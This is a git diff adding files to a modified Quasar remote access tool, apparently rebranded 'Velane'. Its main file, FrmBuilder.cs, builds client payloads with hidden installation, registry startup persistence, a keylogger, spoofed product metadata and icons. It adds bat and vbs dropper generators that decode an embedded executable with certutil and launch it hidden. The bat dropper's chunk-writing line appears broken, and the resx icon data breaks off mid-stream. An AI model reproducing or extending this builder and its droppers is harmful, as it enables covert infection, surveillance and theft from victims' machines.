this.connectionPage.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDownPort)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDownDelay)).EndInit(); + this.installationPage.ResumeLayout(false); + this.installationPage.PerformLayout(); + this.assemblyPage.ResumeLayout(false); + this.assemblyPage.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.iconPreview)).EndInit(); + this.monitoringTab.ResumeLayout(false); + this.monitoringTab.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + private System.Windows.Forms.Label lblPort; + private System.Windows.Forms.TextBox txtHost; + private System.Windows.Forms.Label lblHost; + private System.Windows.Forms.Label lblDelay; + private System.Windows.Forms.CheckBox chkInstall; + private System.Windows.Forms.TextBox txtInstallName; + private System.Windows.Forms.Label lblInstallName; + private System.Windows.Forms.TextBox txtMutex; + private System.Windows.Forms.Label lblMutex; + private System.Windows.Forms.Label lblExtension; + private System.Windows.Forms.Label lblInstallDirectory; + private System.Windows.Forms.RadioButton rbAppdata; + private System.Windows.Forms.TextBox txtInstallSubDirectory; + private System.Windows.Forms.Label lblInstallSubDirectory; + private System.Windows.Forms.Label lblPreviewPath; + private System.Windows.Forms.TextBox txtPreviewPath; + private System.Windows.Forms.Button btnMutex; + private System.Windows.Forms.CheckBox chkHide; + private System.Windows.Forms.TextBox txtRegistryKeyName; + private System.Windows.Forms.Label lblRegistryKeyName; + private System.Windows.Forms.CheckBox chkStartup; + private System.Windows.Forms.Button btnBuild; + private System.Windows.Forms.Button btnSaveProfile; + private System.Windows.Forms.Button btnOpenBuildsFolder; + private System.Windows.Forms.ComboBox cmbOutputFormat; + private System.Windows.Forms.Label lblOutputFormat; + private System.Windows.Forms.Label lblMS; + private System.Windows.Forms.RadioButton rbSystem; + private System.Windows.Forms.RadioButton rbProgramFiles; + private System.Windows.Forms.PictureBox picUAC1; + private System.Windows.Forms.PictureBox picUAC2; + private System.Windows.Forms.ToolTip tooltip; + private System.Windows.Forms.CheckBox chkChangeIcon; + private System.Windows.Forms.TextBox txtDescription; + private System.Windows.Forms.Label lblDescription; + private System.Windows.Forms.TextBox txtProductName; + private System.Windows.Forms.Label lblProductName; + private System.Windows.Forms.TextBox txtOriginalFilename; + private System.Windows.Forms.Label lblOriginalFilename; + private System.Windows.Forms.TextBox txtTrademarks; + private System.Windows.Forms.Label lblTrademarks; + private System.Windows.Forms.TextBox txtCopyright; + private System.Windows.Forms.Label lblCopyright; + private System.Windows.Forms.TextBox txtCompanyName; + private System.Windows.Forms.Label lblCompanyName; + private System.Windows.Forms.TextBox txtFileVersion; + private System.Windows.Forms.Label lblFileVersion; + private System.Windows.Forms.TextBox txtProductVersion; + private System.Windows.Forms.Label lblProductVersion; + private System.Windows.Forms.CheckBox chkChangeAsmInfo; + private System.Windows.Forms.CheckBox chkKeylogger; + private Controls.DotNetBarTabControl builderTabs; + private System.Windows.Forms.TabPage connectionPage; + private System.Windows.Forms.TabPage installationPage; + private System.Windows.Forms.TabPage assemblyPage; + private System.Windows.Forms.TabPage monitoringTab; + private System.Windows.Forms.ListBox lstHosts; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.Button btnAddHost; + private System.Windows.Forms.ToolStripMenuItem removeHostToolStripMenuItem; + private Controls.Line line1; + private System.Windows.Forms.Label label1; + private Controls.Line line3; + private System.Windows.Forms.Label label4; + private Controls.Line line4; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.TabPage generalPage; + private System.Windows.Forms.TextBox txtTag; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label lblTag; + private Controls.Line line5; + private System.Windows.Forms.Label label6; + private Controls.Line line6; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.Label label9; + private Controls.Line line7; + private System.Windows.Forms.Label label10; + private Controls.Line line8; + private System.Windows.Forms.Label label11; + private Controls.Line line9; + private System.Windows.Forms.Label label12; + private Controls.Line line10; + private System.Windows.Forms.Label label14; + private System.Windows.Forms.ToolStripMenuItem clearToolStripMenuItem; + private System.Windows.Forms.Button btnBrowseIcon; + private System.Windows.Forms.TextBox txtIconPath; + private System.Windows.Forms.PictureBox iconPreview; + private System.Windows.Forms.Label lblLogDirectory; + private System.Windows.Forms.TextBox txtLogDirectoryName; + private System.Windows.Forms.CheckBox chkHideLogDirectory; + private System.Windows.Forms.NumericUpDown numericUpDownDelay; + private System.Windows.Forms.NumericUpDown numericUpDownPort; + private System.Windows.Forms.CheckBox chkHideSubDirectory; + private System.Windows.Forms.CheckBox chkUnattendedMode; + private Line line2; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label3; + } +} + + + diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.cs new file mode 100755 index 0000000..95a33a2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.cs @@ -0,0 +1,688 @@ +using Quasar.Common.DNS; +using Quasar.Common.Helpers; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Build; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Utilities; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmBuilder : Form + { + private bool _profileLoaded; + private bool _changed; + private readonly BindingList _hosts = new BindingList(); + private readonly HostsConverter _hostsConverter = new HostsConverter(); + + public FrmBuilder() + { + InitializeComponent(); + DarkModeHelper.ApplyToForm(this); + } + + private void LoadProfile(string profileName) + { + var profile = new BuilderProfile(profileName); + + _hosts.Clear(); + foreach (var host in _hostsConverter.RawHostsToList(profile.Hosts)) + _hosts.Add(host); + + txtTag.Text = profile.Tag; + numericUpDownDelay.Value = profile.Delay; + txtMutex.Text = profile.Mutex; + chkUnattendedMode.Checked = profile.UnattendedMode; + chkInstall.Checked = profile.InstallClient; + txtInstallName.Text = profile.InstallName; + GetInstallPath(profile.InstallPath).Checked = true; + txtInstallSubDirectory.Text = profile.InstallSub; + chkHide.Checked = profile.HideFile; + chkHideSubDirectory.Checked = profile.HideSubDirectory; + chkStartup.Checked = profile.AddStartup; + txtRegistryKeyName.Text = profile.RegistryName; + chkChangeIcon.Checked = profile.ChangeIcon; + txtIconPath.Text = profile.IconPath; + chkChangeAsmInfo.Checked = profile.ChangeAsmInfo; + chkKeylogger.Checked = profile.Keylogger; + txtLogDirectoryName.Text = profile.LogDirectoryName; + chkHideLogDirectory.Checked = profile.HideLogDirectory; + txtProductName.Text = profile.ProductName; + txtDescription.Text = profile.Description; + txtCompanyName.Text = profile.CompanyName; + txtCopyright.Text = profile.Copyright; + txtTrademarks.Text = profile.Trademarks; + txtOriginalFilename.Text = profile.OriginalFilename; + txtProductVersion.Text = profile.ProductVersion; + txtFileVersion.Text = profile.FileVersion; + + _profileLoaded = true; + } + + private void SaveProfile(string profileName) + { + var profile = new BuilderProfile(profileName); + + profile.Tag = txtTag.Text; + profile.Hosts = _hostsConverter.ListToRawHosts(_hosts); + profile.Delay = (int) numericUpDownDelay.Value; + profile.Mutex = txtMutex.Text; + profile.UnattendedMode = chkUnattendedMode.Checked; + profile.InstallClient = chkInstall.Checked; + profile.InstallName = txtInstallName.Text; + profile.InstallPath = GetInstallPath(); + profile.InstallSub = txtInstallSubDirectory.Text; + profile.HideFile = chkHide.Checked; + profile.HideSubDirectory = chkHideSubDirectory.Checked; + profile.AddStartup = chkStartup.Checked; + profile.RegistryName = txtRegistryKeyName.Text; + profile.ChangeIcon = chkChangeIcon.Checked; + profile.IconPath = txtIconPath.Text; + profile.ChangeAsmInfo = chkChangeAsmInfo.Checked; + profile.Keylogger = chkKeylogger.Checked; + profile.LogDirectoryName = txtLogDirectoryName.Text; + profile.HideLogDirectory = chkHideLogDirectory.Checked; + profile.ProductName = txtProductName.Text; + profile.Description = txtDescription.Text; + profile.CompanyName = txtCompanyName.Text; + profile.Copyright = txtCopyright.Text; + profile.Trademarks = txtTrademarks.Text; + profile.OriginalFilename = txtOriginalFilename.Text; + profile.ProductVersion = txtProductVersion.Text; + profile.FileVersion = txtFileVersion.Text; + } + + private void FrmBuilder_Load(object sender, EventArgs e) + { + lstHosts.DataSource = new BindingSource(_hosts, null); + LoadProfile("Default"); + + numericUpDownPort.Value = Settings.ListenPort; + + UpdateInstallationControlStates(); + UpdateStartupControlStates(); + UpdateAssemblyControlStates(); + UpdateIconControlStates(); + UpdateKeyloggerControlStates(); + } + private void FrmBuilder_FormClosing(object sender, FormClosingEventArgs e) + { + if (_changed && + MessageBox.Show(this, "Do you want to save your current settings?", "Changes detected", + MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) + { + SaveProfile("Default"); + } + } + + private void btnAddHost_Click(object sender, EventArgs e) + { + if (txtHost.Text.Length < 1) return; + + HasChanged(); + + var host = txtHost.Text; + ushort port = (ushort) numericUpDownPort.Value; + + _hosts.Add(new Host {Hostname = host, Port = port}); + txtHost.Text = ""; + } + + #region "Context Menu" + private void removeHostToolStripMenuItem_Click(object sender, EventArgs e) + { + HasChanged(); + + List selectedHosts = (from object arr in lstHosts.SelectedItems select arr.ToString()).ToList(); + + foreach (var item in selectedHosts) + { + foreach (var host in _hosts) + { + if (item == host.ToString()) + { + _hosts.Remove(host); + break; + } + } + } + } + + private void clearToolStripMenuItem_Click(object sender, EventArgs e) + { + HasChanged(); + + _hosts.Clear(); + } + #endregion + + #region "Misc" + private void txtInstallname_KeyPress(object sender, KeyPressEventArgs e) + { + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && + !char.IsControl(e.KeyChar)); + } + + private void txtInstallsub_KeyPress(object sender, KeyPressEventArgs e) + { + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && + !char.IsControl(e.KeyChar)); + } + + private void txtLogDirectoryName_KeyPress(object sender, KeyPressEventArgs e) + { + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && + !char.IsControl(e.KeyChar)); + } + + private void btnMutex_Click(object sender, EventArgs e) + { + HasChanged(); + + txtMutex.Text = Guid.NewGuid().ToString(); + } + + private void chkInstall_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + + UpdateInstallationControlStates(); + } + + private void chkStartup_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + + UpdateStartupControlStates(); + } + + private void chkChangeAsmInfo_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + + UpdateAssemblyControlStates(); + } + + private void chkKeylogger_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + + UpdateKeyloggerControlStates(); + } + + private void btnBrowseIcon_Click(object sender, EventArgs e) + { + using (OpenFileDialog ofd = new OpenFileDialog()) + { + ofd.Title = "Choose Icon"; + ofd.Filter = "Icons *.ico|*.ico"; + ofd.Multiselect = false; + if (ofd.ShowDialog() == DialogResult.OK) + { + txtIconPath.Text = ofd.FileName; + iconPreview.Image = Bitmap.FromHicon(new Icon(ofd.FileName, new Size(64, 64)).Handle); + } + } + } + + private void chkChangeIcon_CheckedChanged(object sender, EventArgs e) + { + HasChanged(); + + UpdateIconControlStates(); + } + #endregion + + private bool CheckForEmptyInput() + { + return (!string.IsNullOrWhiteSpace(txtTag.Text) && !string.IsNullOrWhiteSpace(txtMutex.Text) && // General Settings + _hosts.Count > 0 && // Connection + (!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrWhiteSpace(txtInstallName.Text))) && // Installation + (!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrWhiteSpace(txtRegistryKeyName.Text)))); // Installation + } + + private BuildOptions GetBuildOptions() + { + BuildOptions options = new BuildOptions(); + if (!CheckForEmptyInput()) + { + throw new Exception("Please fill out all required fields!"); + } + + options.Tag = txtTag.Text; + options.Mutex = txtMutex.Text; + options.UnattendedMode = chkUnattendedMode.Checked; + options.RawHosts = _hostsConverter.ListToRawHosts(_hosts); + options.Delay = (int) numericUpDownDelay.Value; + options.IconPath = txtIconPath.Text; + options.Version = Application.ProductVersion; + options.InstallPath = GetInstallPath(); + options.InstallSub = txtInstallSubDirectory.Text; + options.InstallName = txtInstallName.Text + ".exe"; + options.StartupName = txtRegistryKeyName.Text; + options.Install = chkInstall.Checked; + options.Startup = chkStartup.Checked; + options.HideFile = chkHide.Checked; + options.HideInstallSubdirectory = chkHideSubDirectory.Checked; + options.Keylogger = chkKeylogger.Checked; + options.LogDirectoryName = txtLogDirectoryName.Text; + options.HideLogDirectory = chkHideLogDirectory.Checked; + + if (!File.Exists("client.bin")) + { + throw new Exception("Could not locate \"client.bin\" file. It should be in the same directory as Quasar."); + } + + if (options.RawHosts.Length < 2) + { + throw new Exception("Please enter a valid host to connect to."); + } + + if (chkChangeIcon.Checked) + { + if (string.IsNullOrWhiteSpace(options.IconPath) || !File.Exists(options.IconPath)) + { + throw new Exception("Please choose a valid icon path."); + } + } + else + options.IconPath = string.Empty; + + if (chkChangeAsmInfo.Checked) + { + if (!IsValidVersionNumber(txtProductVersion.Text)) + { + throw new Exception("Please enter a valid product version number!\nExample: 1.2.3.4"); + } + + if (!IsValidVersionNumber(txtFileVersion.Text)) + { + throw new Exception("Please enter a valid file version number!\nExample: 1.2.3.4"); + } + + options.AssemblyInformation = new string[8]; + options.AssemblyInformation[0] = txtProductName.Text; + options.AssemblyInformation[1] = txtDescription.Text; + options.AssemblyInformation[2] = txtCompanyName.Text; + options.AssemblyInformation[3] = txtCopyright.Text; + options.AssemblyInformation[4] = txtTrademarks.Text; + options.AssemblyInformation[5] = txtOriginalFilename.Text; + options.AssemblyInformation[6] = txtProductVersion.Text; + options.AssemblyInformation[7] = txtFileVersion.Text; + } + + // Create Builds folder on desktop + string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + string buildsFolder = Path.Combine(desktopPath, "Velane_Builds"); + + if (!Directory.Exists(buildsFolder)) + { + Directory.CreateDirectory(buildsFolder); + } + + using (SaveFileDialog sfd = new SaveFileDialog()) + { + // Determine format from combo selection + string[] formats = { "exe", "scr", "pif", "com", "bat", "vbs" }; + int fmtIdx = 0; + this.Invoke((MethodInvoker)delegate { fmtIdx = cmbOutputFormat.SelectedIndex; }); + if (fmtIdx < 0) fmtIdx = 0; + string fmt = formats[fmtIdx]; + options.OutputFormat = fmt; + + string filterStr; + string defaultExt; + switch (fmt) + { + case "scr": filterStr = "Screensaver *.scr|*.scr"; defaultExt = "scr"; break; + case "pif": filterStr = "PIF File *.pif|*.pif"; defaultExt = "pif"; break; + case "com": filterStr = "COM File *.com|*.com"; defaultExt = "com"; break; + case "bat": filterStr = "Batch File *.bat|*.bat"; defaultExt = "bat"; break; + case "vbs": filterStr = "VBScript *.vbs|*.vbs"; defaultExt = "vbs"; break; + default: filterStr = "Executables *.exe|*.exe"; defaultExt = "exe"; break; + } + + sfd.Title = "Save Client as"; + sfd.Filter = filterStr; + sfd.DefaultExt = defaultExt; + sfd.InitialDirectory = buildsFolder; + sfd.RestoreDirectory = true; + sfd.FileName = $"Client_{DateTime.Now:yyyyMMdd_HHmmss}.{defaultExt}"; + if (sfd.ShowDialog() != DialogResult.OK) + { + throw new Exception("Please choose a valid output path."); + } + options.OutputPath = sfd.FileName; + } + + if (string.IsNullOrEmpty(options.OutputPath)) + { + throw new Exception("Please choose a valid output path."); + } + + return options; + } + + private void btnBuild_Click(object sender, EventArgs e) + { + BuildOptions options; + try + { + options = GetBuildOptions(); + } + catch (Exception ex) + { + MessageBox.Show(this, ex.Message, "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); + return; + } + + SetBuildState(false); + + Thread t = new Thread(BuildClient); + t.Start(options); + } + + private void SetBuildState(bool state) + { + try + { + this.Invoke((MethodInvoker)delegate + { + btnBuild.Text = (state) ? "Build" : "Building..."; + btnBuild.Enabled = state; + }); + } + catch (InvalidOperationException) + { + } + } + + private void BuildClient(object o) + { + try + { + BuildOptions options = (BuildOptions) o; + + // Always build to a temp exe first + string finalPath = options.OutputPath; + string fmt = (options.OutputFormat ?? "exe").ToLower(); + bool needsWrapper = fmt == "bat" || fmt == "vbs"; + string tempExePath = needsWrapper + ? Path.Combine(Path.GetTempPath(), Path.GetRandomFileName() + ".exe") + : finalPath; + + if (needsWrapper) + options.OutputPath = tempExePath; + + var builder = new ClientBuilder(options, "client.bin"); + builder.Build(); + + // Post-process for wrapper formats + if (needsWrapper) + { + byte[] exeBytes = File.ReadAllBytes(tempExePath); + string b64 = Convert.ToBase64String(exeBytes); + + if (fmt == "bat") + { + File.WriteAllText(finalPath, BuildBatDropper(b64), System.Text.Encoding.ASCII); + } + else if (fmt == "vbs") + { + string vbs = BuildVbsDropper(b64); + File.WriteAllText(finalPath, vbs, System.Text.Encoding.ASCII); + } + + try { File.Delete(tempExePath); } catch { } + } + + try + { + this.Invoke((MethodInvoker) delegate + { + MessageBox.Show(this, + $"Successfully built client!\nSaved to: {finalPath}", + "Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + }); + } + catch (Exception) + { + } + } + catch (Exception ex) + { + try + { + this.Invoke((MethodInvoker)delegate + { + MessageBox.Show(this, + $"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed", + MessageBoxButtons.OK, MessageBoxIcon.Error); + }); + } + catch (Exception) + { + } + } + SetBuildState(true); + } + + private static string BuildBatDropper(string b64) + { + // Working bat - visible window but functional. Used as fallback. + var sb = new System.Text.StringBuilder(); + sb.AppendLine("@echo off"); + sb.AppendLine("setlocal"); + sb.AppendLine("set \"b64f=%TEMP%\\~%RANDOM%%RANDOM%.b64\""); + sb.AppendLine("set \"exef=%TEMP%\\~%RANDOM%%RANDOM%.exe\""); + + int chunk = 64; + for (int i = 0; i < b64.Length; i += chunk) + { + int len = Math.Min(chunk, b64.Length - i); + string part = b64.Substring(i, len); + sb.AppendLine($"> \"%b64f%\""); + } + sb.AppendLine("echo.>> \"%b64f%\""); + sb.AppendLine("certutil -decode \"%b64f%\" \"%exef%\" >nul 2>&1"); + sb.AppendLine("del \"%b64f%\" >nul 2>&1"); + sb.AppendLine("start \"\" \"%exef%\""); + sb.AppendLine("endlocal"); + return sb.ToString(); + } + + private static string BuildVbsDropper(string b64) + { + var sb = new System.Text.StringBuilder(); + sb.AppendLine("Dim b64, tmpB64, tmpExe, fso, ts, shell"); + sb.AppendLine("b64 = _"); + // Split b64 into VBS line-continuation chunks + int chunkSize = 900; + for (int i = 0; i < b64.Length; i += chunkSize) + { + int len = Math.Min(chunkSize, b64.Length - i); + string chunk = b64.Substring(i, len); + bool last = (i + len >= b64.Length); + if (last) + sb.AppendLine($" \"{chunk}\""); + else + sb.AppendLine($" \"{chunk}\" & _"); + } + sb.AppendLine("Set fso = CreateObject(\"Scripting.FileSystemObject\")"); + sb.AppendLine("tmpB64 = fso.GetSpecialFolder(2) & \"\\~\" & Int(Rnd*99999) & \".b64\""); + sb.AppendLine("tmpExe = fso.GetSpecialFolder(2) & \"\\~\" & Int(Rnd*99999) & \".exe\""); + sb.AppendLine("Set ts = fso.CreateTextFile(tmpB64, True)"); + sb.AppendLine("ts.Write b64"); + sb.AppendLine("ts.Close"); + sb.AppendLine("Set shell = CreateObject(\"WScript.Shell\")"); + sb.AppendLine("shell.Run \"certutil -decode \"\"\" & tmpB64 & \"\"\" \"\"\" & tmpExe & \"\"\"\", 0, True"); + sb.AppendLine("fso.DeleteFile tmpB64"); + sb.AppendLine("shell.Run \"\"\"\" & tmpExe & \"\"\"\", 0, False"); + return sb.ToString(); + } + + private void RefreshPreviewPath() + { + string path = string.Empty; + if (rbAppdata.Checked) + path = + Path.Combine( + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), + txtInstallSubDirectory.Text), txtInstallName.Text); + else if (rbProgramFiles.Checked) + path = + Path.Combine( + Path.Combine( + Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), txtInstallSubDirectory.Text), txtInstallName.Text); + else if (rbSystem.Checked) + path = + Path.Combine( + Path.Combine( + Environment.GetFolderPath(Environment.SpecialFolder.System), txtInstallSubDirectory.Text), txtInstallName.Text); + + this.Invoke((MethodInvoker)delegate { txtPreviewPath.Text = path + ".exe"; }); + } + + private bool IsValidVersionNumber(string input) + { + Match match = Regex.Match(input, @"^[0-9]+\.[0-9]+\.(\*|[0-9]+)\.(\*|[0-9]+)$", RegexOptions.IgnoreCase); + return match.Success; + } + + private short GetInstallPath() + { + if (rbAppdata.Checked) return 1; + if (rbProgramFiles.Checked) return 2; + if (rbSystem.Checked) return 3; + throw new ArgumentException("InstallPath"); + } + + private RadioButton GetInstallPath(short installPath) + { + switch (installPath) + { + case 1: + return rbAppdata; + case 2: + return rbProgramFiles; + case 3: + return rbSystem; + default: + throw new ArgumentException("InstallPath"); + } + } + + private void UpdateAssemblyControlStates() + { + txtProductName.Enabled = chkChangeAsmInfo.Checked; + txtDescription.Enabled = chkChangeAsmInfo.Checked; + txtCompanyName.Enabled = chkChangeAsmInfo.Checked; + txtCopyright.Enabled = chkChangeAsmInfo.Checked; + txtTrademarks.Enabled = chkChangeAsmInfo.Checked; + txtOriginalFilename.Enabled = chkChangeAsmInfo.Checked; + txtFileVersion.Enabled = chkChangeAsmInfo.Checked; + txtProductVersion.Enabled = chkChangeAsmInfo.Checked; + } + + private void UpdateIconControlStates() + { + txtIconPath.Enabled = chkChangeIcon.Checked; + btnBrowseIcon.Enabled = chkChangeIcon.Checked; + } + + private void UpdateStartupControlStates() + { + txtRegistryKeyName.Enabled = chkStartup.Checked; + } + + private void UpdateInstallationControlStates() + { + txtInstallName.Enabled = chkInstall.Checked; + rbAppdata.Enabled = chkInstall.Checked; + rbProgramFiles.Enabled = chkInstall.Checked; + rbSystem.Enabled = chkInstall.Checked; + txtInstallSubDirectory.Enabled = chkInstall.Checked; + chkHide.Enabled = chkInstall.Checked; + chkHideSubDirectory.Enabled = chkInstall.Checked; + } + + private void UpdateKeyloggerControlStates() + { + txtLogDirectoryName.Enabled = chkKeylogger.Checked; + chkHideLogDirectory.Enabled = chkKeylogger.Checked; + } + + private void HasChanged() + { + if (!_changed && _profileLoaded) + _changed = true; + } + + /// + /// Handles a basic change in setting. + /// + private void HasChangedSetting(object sender, EventArgs e) + { + HasChanged(); + } + + /// + /// Handles a basic change in setting, also refreshing the example file path. + /// + private void HasChangedSettingAndFilePath(object sender, EventArgs e) + { + HasChanged(); + + RefreshPreviewPath(); + } + + private void btnOpenBuildsFolder_Click(object sender, EventArgs e) + { + try + { + string desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + string buildsFolder = Path.Combine(desktopPath, "Velane_Builds"); + + if (!Directory.Exists(buildsFolder)) + { + Directory.CreateDirectory(buildsFolder); + } + + System.Diagnostics.Process.Start("explorer.exe", buildsFolder); + } + catch (Exception ex) + { + MessageBox.Show(this, $"Failed to open builds folder: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + private void monitoringTab_Click(object sender, EventArgs e) + { + + } + + private void btnSaveProfile_Click(object sender, EventArgs e) + { + try + { + SaveProfile("Default"); + _changed = false; + MessageBox.Show(this, "Profile saved successfully!", "Save Profile", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + catch (Exception ex) + { + MessageBox.Show(this, $"Failed to save profile: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.resx new file mode 100755 index 0000000..86315a9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmBuilder.resx @@ -0,0 +1,665 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + 105, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + 